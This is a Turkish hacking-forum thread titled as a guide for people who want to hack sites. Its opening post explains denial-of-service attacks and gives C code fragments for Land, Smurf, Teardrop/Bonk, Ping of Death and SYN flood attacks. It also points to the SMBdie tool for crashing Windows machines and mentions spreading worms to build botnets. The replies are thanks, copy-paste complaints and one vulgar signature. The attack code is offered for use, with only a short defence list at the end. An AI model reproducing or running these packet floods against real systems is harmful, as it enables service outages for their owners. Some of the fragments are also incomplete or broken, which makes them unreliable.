folder Tahribat.com Forumları
linefolder Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
linefolder Uzaktan Saldırının Teorisi Ve Pratik Yolları.(Site Hacklemek İsteyenlere Birebir.)



Uzaktan Saldırının Teorisi Ve Pratik Yolları.(Site Hacklemek İsteyenlere Birebir.)

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    cezaa1905
    cezaa1905's avatar
    Kayıt Tarihi: 04/Ocak/2006
    Erkek
    İnternetdeki saldırılarda Uzaktan Saldırı en çok konuşulan konuların başında gelir.Bu saldırılar internetde genelde "DDoS","DoS","Syn-flood","PoD"... gibi isimlerle anılırlar.
    Bu saldırıların nasıl yapıldığının yanında bu saldırılar için kullanılabilecek C++ kodlarını da veremeye çalışacam.

    İnternet ilk olarak USA milli ordusunda çıkmasına bakmayarak çok şaşırtıcıdır ki burada kullanılan protokol olan TCP/IP o kadar da güvenli değildir.Özellikle TCP/IP nin bazı
    özelliklerindendir ki bu tür uzaktan saldırılar yapılabiliyor.Aynı zamanda bu saldırılarda İşletim sisteminde bulunan zayıf noktalarının da büyük rolü var.

    Uzaktan Saldırılar için ihtiyaçlar.

    Bu tür bir saldırının yapılabilmesi için en az bir tane internete bağlı bir bilgisayara ihtiyaç vardır .Bir tane bilgisayarla yapılan bu tür saldırılara "DoS"(Denial of Service) denir.
    Fakat yapılabilecek saldırı DDoS (Distributed Denial of Service) olacaksa ne kadar fazla makina olursa o kadarda saldırının başarılı olması muhtemeldir.
    Bunun için de genelde bir çok makinayı ele geçirecek ve bu doğrultuda kullanacak virüs(trojan,worm) yazılır ve internetde yayılması sağlanır.
    Daha sonra ise aynı anda hedefe toplu sorgu yapılmaya çalışılıyor ve bu şekilde hedefteki bilgisayar sisteminin bu sorgulara cevap vermeye yetişemeyerek servis dışı kalması sağlanır.


    "SMBdie" Saldırısı

    SMB (Server Message Block) - Bu Microsoft un windows ta bulunan dosya,yazıcı yönetimi ile ilgili bir protokoldür.NETBIOS açık olan Windows (NT/2k/XP/.NET RC1) yapılan
    bu tür bir saldırı onu etkisiz hale getirmeye yeterlidir.Teorik olarak SMBdie saldırısı ile uzaktaki makinada istenilen kod çalıştırılabilir.Pratikte ise bu yöntemle effektif DoS saldırısı
    yapıla biliyor.SMB ni sıradan çıkarmak için o makinaya özel bir sorgu gönderilmesi lazımdır.Hatta bu saldırıyı otomatik hale getirmek için program mevcuttur bu programı
    packetstorm.linuxsecurity.com sitesinde (programın ismi SMBdie) indirebilirsiniz.Bu programla saldırıyı gerçekleştirmek için yapmanız gereken şey kurbanın IP adresini ve NETBIOS
    isimini girmeniz gerekir.Linux altında çalışan SMB ler içinde buna benzer program yazılabilir.

    "Land" Saldırısı

    Acaba DoS ve buna benzer saldırısında internete bir sürü sorgu gönderiyoruz, bunu yapmak zorundamıyız? Hayır! Çünki bunu kurban bilgisayarın kenidisine de yaptırabiliriz.
    Bu yöntemle bilgisayarı kendisini yok eden kamikaze(kendine suikast yapan) dönüştüre biliriz.Bu yöntemde asıl amaç kurban bilgisayarın kendi kendisine
    (Buna TCP/IP izin veriyor) fazla sayıda sorgu göndermesini ve servis dışı olmasını sağlamaktır.Bunu yapmak için kurbana gönderen adres kısmında kendi IP’si yazılı olan
    IP paketi gönderiyoruz.Gönderenin portu ile Alıcı portunun da aynı olmasına dikkat ediyoruz.Bazı işletim sistemleri bu tür paketleri alınca IP paketdeki gönderen adresine yani kendisine
    cevap göndermeye çalışıyorlar.Bu şekilde sonsuz bir döngü oluşuyor ve sistemin devre dışı kalıyor.Bu eski yöntemin en önemli kod kısımlarına bakalım:

    //tanımlar
    struct sockaddr_in sin;
    struct hostent * hoste;
    int sock;
    struct ip * ipheader=(struct ip *) buffer;

    //ismine göre host arıyoruz.
    hoste = gethostbyname(argv[1]);
    bcopy(hoste-> h_addr,&sin.sin_addr,hoste-> h_length);

    //port numarasını sayıya çeviriyoruz.
    sin.sin_port = htons(atoi(argv[2]));
    sock = socket(AF_INET, SOCK_RAW, 255);

    //gönderenin ve alıcının adreslerini ayarlıyoruz.
    ipheader-> ip_src=sin.sin_addr;
    ipheader-> ip_dst=sin.sin_addr;

    //gönderenin ve alıcının port numaralarını ayarlıyoruz.
    tcpheader-> th_sport=sin.sin_port;
    tcpheader-> th_dport=sin.sin_port;

    //paketi gönderiyoruz.
    sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in);

    Bu tür Land saldırılarının çok daha gelişmiş ve yenileri vardır.Bunlardan biride internetde bulunabilen "La Tierra" dır.


    "Smurf" saldırısı
    Yukarıda gördüğümüz "Land" saldırısı tüm işletim sistemlerinde olmadığından bazen etkisiz kalabiliyor.Eğer biz gönderen adresinde kurbanın IP’si
    yazılı ICMP paketini broadcast olarak gönderirsek Bu sorguyu alan tüm subnete ait makinalar bu pakete cevap vermek için kurbanın bilgisayarına cevap paketleri yollayacaklar
    ve bu şekilde Smurf denen bu saldırıyı gerçekleştirmiş olacağız.Bu yöntemle alakalı kodu görelim:

    void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
    {
    // IP-başlık
    struct iphdr *ip;

    // ICMP-başlık
    struct icmphdr *icmp;

    char *packet;
    packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
    ip = (struct iphdr *)packet;
    icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

    //IP-paketini oluşturalım
    ip-> tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
    ip-> ihl = 5;
    ip-> version = 4;
    ip-> ttl = 255;
    ip-> tos = 0;
    ip-> frag_off = 0;
    ip-> protocol = IPPROTO_ICMP;
    ip-> saddr = sin.sin_addr.s_addr;
    ip-> daddr = dest;
    ip-> check = in_chksum((u_short *)ip, sizeof(struct iphdr));

    //ICMP-paketini oluşturalım
    icmp-> type = 8;
    icmp-> code = 0;
    icmp-> checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

    //paketi gönderelim
    sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
    free(packet);
    }

    Broadcast adresleri ile ilgili : subnet için bu adresler 208.131.0.0 ,208.131.255.255 olacaktır.

    "Teardrop ve Bonk" saldırısı

    Bu saldırı bazı işletim sistemlerinin bölünmüş paketleri toplama işlemindeki bazı zayıflıklardan yararlanıyor.Bu saldırıda bilgisayara gönderilen 2 özel olarak hazırlanmış
    paket parçası kurbanın bilgisayarının hafızasının silinmesini sağlıyor.Bonk atağı için olan kodu görelim:

    //tanımlar
    #define FRG_CONST 0x3
    #define PADDING 0x1c
    struct udp_pkt
    {
    struct iphdr ip;
    struct udphdr udp;
    char data[PADDING];
    } pkt;

    void fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt, int dst_prt)
    {
    int bs;
    struct sockaddr_in to;

    //başlık paketini sıfırlayalım
    memset(&pkt, 0, psize);

    // şimdi ise IP-başlığını oluşturalım
    pkt.ip.version = 4;
    pkt.ip.ihl = 5;
    pkt.ip.tot_len = htons(udplen + iplen + PADDING);
    pkt.ip.id = htons(0x455);
    pkt.ip.ttl = 255;
    pkt.ip.protocol = IP_UDP;
    pkt.ip.saddr = src_addr;
    pkt.ip.daddr = dst_addr;

    // Bölünmüş paket
    pkt.ip.frag_off = htons(0x2000);

    // UDP-başlığını oluşturalım
    pkt.udp.source = htons(src_prt);
    pkt.udp.dest = htons(dst_prt);
    pkt.udp.len = htons(8 + PADDING);

    //İlk paketi gönderelim
    to.sin_family = AF_INET;
    to.sin_port = src_prt;
    to.sin_addr.s_addr = dst_addr;
    bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr));

    //İkinci paketi gönderelmi
    pkt.ip.frag_off = htons(FRG_CONST + 1);
    pkt.ip.tot_len = htons(iplen + FRG_CONST);
    bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0, (struct sockaddr *) &to, sizeof(struct sockaddr));
    }

    main()
    {
    // Daha etkili olmak için bu şekilde 1000 kadar paket gönderilecektir.
    for (i = 0; i < 1000; ++i)
    {
    fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
    usleep(10000);
    }
    }


    "Ping of Death" Saldırısı

    Bu saldırıda özel olarak hazırlanmış 64 kb büyük ICMP paket gönderilerek sağlanıyor.Örnek kod:

    #ifdef REALLY_RAW
    #define FIX(x) htons(x)
    #else
    #define FIX(x) (x)
    #endif

    //ICMP-paketini hazırlıyoruz
    icmp-> icmp_type = ICMP_ECHO;
    icmp-> icmp_code = 0;
    icmp-> icmp_cksum = htons(~(ICMP_ECHO << 8));
    for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
    {
    // değişimi hesaplıyoruz
    ip-> ip_off = FIX(offset > > 3);
    if (offset < 65120)
    ip-> ip_off | = FIX(IP_MF);
    else
    ip-> ip_len = FIX(418);

    // paketi gönderiyoruz.
    sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst);

    //doğrulama
    if (offset == 0)
    {
    icmp-> icmp_type = 0;
    icmp-> icmp_code = 0;
    icmp-> icmp_cksum = 0;
    }
    }


    "SYN flooding" Saldırısı

    En sonda anlatacağım bu saldırı türü bir önce anlatılanlardan daha üniversaldır(genel amaçlı).Bu saldırıyı her türlü işletim sistemine uygulamak olur.
    TCP/IP de 2 bilgisayar haberleşmeye başlamadan önce "el sıkma,tokalaşma" yapılır.Yani A bilgisayarı B bilgisayarına bağlantı isteyini belirten SYN paketi gönderir.
    Buna cevap olarak B bilgisayarıda SYN/ACK paketini gönderir.Bu paketi alan A bilgisayarı B bilgisayarın hazır oldugunu anlıyor ve son olarak da ACK paketini göndererek
    bağlantıyı sağlamış oluyor.Fakat Server bilgisayara çok fazla sayıda bağlantı isteği (yani SYN paketi) gönderilirse bunların bir kısmını red etmeye başlıyor.İşte SYN flooding denen
    saldırı bu olayı kullanarak gerçekleşiyor, yani kurban bilgisayara çok sayıda SYN paketi göndererek diğer tüm gelen istekleri kabul etmemesini sağlıyor ve Servis dışı kalmış oluyor.
    Şimdi bu saldırı için kodu görelim:

    // TPC/IP başlığı
    struct send_tcp
    {
    struct iphdr ip;
    struct tcphdr tcp;
    } send_tcp;

    // başlık
    struct pseudo_header
    {
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
    struct tcphdr tcp;
    } pseudo_header;

    int i;
    int tcp_socket;
    struct sockaddr_in sin;
    int sinlen;

    //IP-paketinin oluşturulması
    send_tcp.ip.ihl = 5;
    send_tcp.ip.version = 4;
    send_tcp.ip.tos = 0;
    send_tcp.ip.tot_len = htons(40);
    send_tcp.ip.id = getpid();
    send_tcp.ip.frag_off = 0;
    send_tcp.ip.ttl = 255;
    send_tcp.ip.protocol = IPPROTO_TCP;
    send_tcp.ip.check = 0;
    send_tcp.ip.saddr = source_addr;
    send_tcp.ip.daddr = dest_addr;

    //TCP-paketinin oluşturulması
    send_tcp.tcp.source = getpid();
    send_tcp.tcp.dest = htons(dest_port);
    send_tcp.tcp.seq = getpid();
    send_tcp.tcp.ack_seq = 0;
    send_tcp.tcp.res1 = 0;
    send_tcp.tcp.doff = 5;
    send_tcp.tcp.fin = 0;
    send_tcp.tcp.syn = 1;
    send_tcp.tcp.rst = 0;
    send_tcp.tcp.psh = 0;
    send_tcp.tcp.ack = 0;
    send_tcp.tcp.urg = 0;
    send_tcp.tcp.res2 = 0;
    send_tcp.tcp.window = htons(512);
    send_tcp.tcp.check = 0;
    send_tcp.tcp.urg_ptr = 0;

    //sin ayarları
    sin.sin_family = AF_INET;
    sin.sin_port = send_tcp.tcp.source;
    sin.sin_addr.s_addr = send_tcp.ip.daddr;

    //socket açıyoruz
    tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    for(i = 0; i < numsyns; i++)
    {
    //ayarlamalar
    send_tcp.tcp.source++;
    send_tcp.ip.id++;
    send_tcp.tcp.seq++;
    send_tcp.tcp.check = 0;
    send_tcp.ip.check = 0;

    // ip kontrol sayısını hesaplıyoruz.
    send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);

    // başlıkları ayarlıyoruz.
    pseudo_header.source_address = send_tcp.ip.saddr;
    pseudo_header.dest_address = send_tcp.ip.daddr;
    pseudo_header.placeholder = 0;
    pseudo_header.protocol = IPPROTO_TCP;
    pseudo_header.tcp_length = htons(20);
    bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
    send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
    sinlen = sizeof(sin);

    // paketi gönderiyoruz.
    sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sinlen);
    }
    close(tcp_socket);


    SONUÇ
    Şimdi bu kadar saldırıları anlatdıktan sonra onlardan nasıl korunacağımızı anlatalım:
    * Firewall kullanın
    * Antivirüs kullanın
    * Güvenlikle ilgili son gelişmeleri takip edin.
    * Yamaları,Servis packleri kurmayı unutmayın
    * SMBdie saldırısından korunmak için Microsoftun bu saldırıya karşı çıkardığı yamayı kurun.
    * Smurf saldırısın tespit için network trafiğini analiz edin.
    * Yeni işletim sistemleri "Bonk" saldırısından etkilenmiyorlar.
    Burada anlatılan saldırı çeşitleri dışında da saldırı türleri mevcuttur.Bunlara örnek olarak DNS flooding, Ping flooding, UDP bomb ...
    Bu tür saldırılar hakkında daha fazla bilgi için aşagıdaki güvenlik sitelerine bakabilirsiniz
    http://www.insecure.org,www.securityfocus.com,packetstorm .linuxsecurity.com/


    Not: aLıntıdır

    I LOVE ROCK"N ROLL
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    a4tech
    a4tech's avatar
    Kayıt Tarihi: 21/Temmuz/2005
    Erkek
    nereden c/p pardon ?
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    cezaa1905
    cezaa1905's avatar
    Kayıt Tarihi: 04/Ocak/2006
    Erkek

    kocaeli ya sen


    I LOVE ROCK"N ROLL
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    a4tech
    a4tech's avatar
    Kayıt Tarihi: 21/Temmuz/2005
    Erkek
    esprimi yaptın yoksa aklınımı deniyorsun :S Neyse forum kirliliğinden başka bir şey değil. Yinede ctrl+c ve ctr+v tuşlarına bastığın için emeğe saygı diyorum..
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    dead_march
    dead_march's avatar
    Banlanmış Üye
    Kayıt Tarihi: 15/Mart/2008
    Erkek

    güzel paylaşım Allah razı olsun


    bundan sonra oy kullanmayacağım eğer bir kişi bile gelip oy kullanmak vatandaşlık görevidir felan derse çıkarır kimliğimi götüne sokarım
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    hokkabaz
    hokkabaz's avatar
    Banlanmış Üye
    Kayıt Tarihi: 08/Eylül/2007
    Erkek
    bambam66 bunu yazdı:
    -----------------------------

    güzel paylaşım Allah razı olsun


    -----------------------------

    Hoca tmm yenisinde bu kadar belli etme 2 senelik konuyu hortlatmanın ne alemi var :|


    Sabrımla yazı tura oynama.. Damarıma basanın.. Kan dolaşımını durdururum !
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    MuratDnz
    MuratDnz's avatar
    Kayıt Tarihi: 26/Nisan/2008
    Erkek

    Güzel Paylaşım Kardeşim Sağolasın İşime Yaradı Aqa Devam İşallah >Emeğe Saygı<


    YALAN doğrudan, karanlık aydınlıktan kaçar. güneş yalnızda olsa etrafına ışık saçar.UNUTMA doğruların kaderidir yalnızlık. kargalar sürüyle KARTALLAR yalnız uçar, YAŞIYORUM YİNE ASLAN GİBİ..!------------------------------------------------------------------------------hacklink.info
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    TORN
    TORN's avatar
    Kayıt Tarihi: 03/Mayıs/2008
    Erkek
    Saolasın süpersin kardeş işime yarıyacak.

    Eger o an güneş yoksa dünyanda.Cama nefesınle buğu yapıp güneş çizmelisin.
  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    AntiOksidan
    AntiOksidan's avatar
    Kayıt Tarihi: 03/Ekim/2005
    Erkek
    İnternet ilk olarak USA milli ordusunda çıkmasına bakmayarak
    ---------
    USA milli ordusu nedir ya özelleştirilmiş ordu da mı var : )
    tamam iyi güzel de TCP/IP hakkında fikri olmayan adamlar bunları nasıl anlasın bu bir?
     tipik bir 3. sınıf hack sitesi makalesi nerden anladım derseniz sondaki smileyden :D
Toplam Hit: 2560 Toplam Mesaj: 9